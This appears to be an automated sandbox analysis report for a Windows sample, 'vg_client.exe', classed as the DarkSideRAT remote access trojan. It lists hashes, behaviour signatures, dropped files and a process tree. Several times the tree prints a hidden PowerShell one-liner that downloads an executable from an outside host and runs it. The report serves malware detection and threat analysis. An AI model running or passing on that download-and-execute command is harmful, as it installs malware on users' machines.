Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 02:36

General

  • Target
    vg_client.exe
  • Size 1.5MB
  • Sample260808-c3wp4a1wft
  • SHA256 31f9faa2b6a3013c443c9a2e49fab41db837a1bcb2baa103fb57c8293093e71e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 21 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 14 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
    "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4828
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169310.exe; Start-Process -FilePath $env:TEMP\BK169310.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      PID:1712
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169310.exe; Start-Process -FilePath $env:TEMP\BK169310.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        PID:1904
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169310.exe; Start-Process -FilePath $env:TEMP\BK169310.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3748
          • C:\Users\Admin\AppData\Local\Temp\BK169310.exe
            "C:\Users\Admin\AppData\Local\Temp\BK169310.exe"
            5⤵
            • Executes dropped EXE
            PID:3420
    • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
      "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
      2⤵
        PID:5036
      • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
        "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
        2⤵
          PID:2900
        • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
          "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
          2⤵
            PID:4024
          • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
            "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
            2⤵
              PID:4404
            • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
              "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
              2⤵
                PID:3052
              • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
                "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
                2⤵
                  PID:4016
                • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
                  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
                  2⤵
                    PID:2708
                  • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
                    "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
                    2⤵
                      PID:3936
                    • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
                      "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
                      2⤵
                        PID:4616
                      • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
                        "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
                        2⤵
                          PID:2672
                        • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
                          "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
                          2⤵
                            PID:3672
                          • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
                            "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
                            2⤵
                              PID:1424
                            • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
                              "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
                              2⤵
                                PID:3320
                              • C:\Users\Admin\AppData\Local\Temp\vg_client.exe
                                "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
                                2⤵
                                  PID:1064

                              Network

                                    MITRE ATT&CK Enterprise v16

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                                    Downloads

                                    BK169310.exe

                                    • Path C:\Users\Admin\AppData\Local\Temp\BK169310.exe
                                    • Size 67KB
                                    • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    __PSScriptPolicyTest_1trfaswn.pd4.ps1

                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1trfaswn.pd4.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512 TLSH

                                    memory/1064-52-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/1064-42-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/1424-38-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/1424-48-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/2672-34-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/2672-45-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/2708-28-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/2708-27-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/2708-32-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/2900-19-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/2900-4-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/2900-6-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/3052-17-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/3052-15-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/3052-23-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/3320-40-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/3320-50-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/3672-36-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/3672-49-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/3748-77-0x000002AACE4C0000-0x000002AACE6DC000-memory.dmp

                                    memory/3748-66-0x000002AACF090000-0x000002AACF0B2000-memory.dmp

                                    memory/3936-29-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/3936-46-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4016-24-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/4016-16-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/4016-18-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/4024-7-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4024-3-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4024-20-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4024-5-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4404-22-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4404-11-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4404-12-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4616-31-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4616-54-0x0000000140000000-0x0000000140050000-memory.dmp

                                    memory/4828-0-0x0000000140000000-0x0000000140188000-memory.dmp

                                    memory/4828-78-0x0000000140000000-0x0000000140188000-memory.dmp

                                    memory/5036-10-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/5036-9-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/5036-21-0x0000000140000000-0x0000000140015000-memory.dmp

                                    memory/5036-1-0x0000000140000000-0x0000000140015000-memory.dmp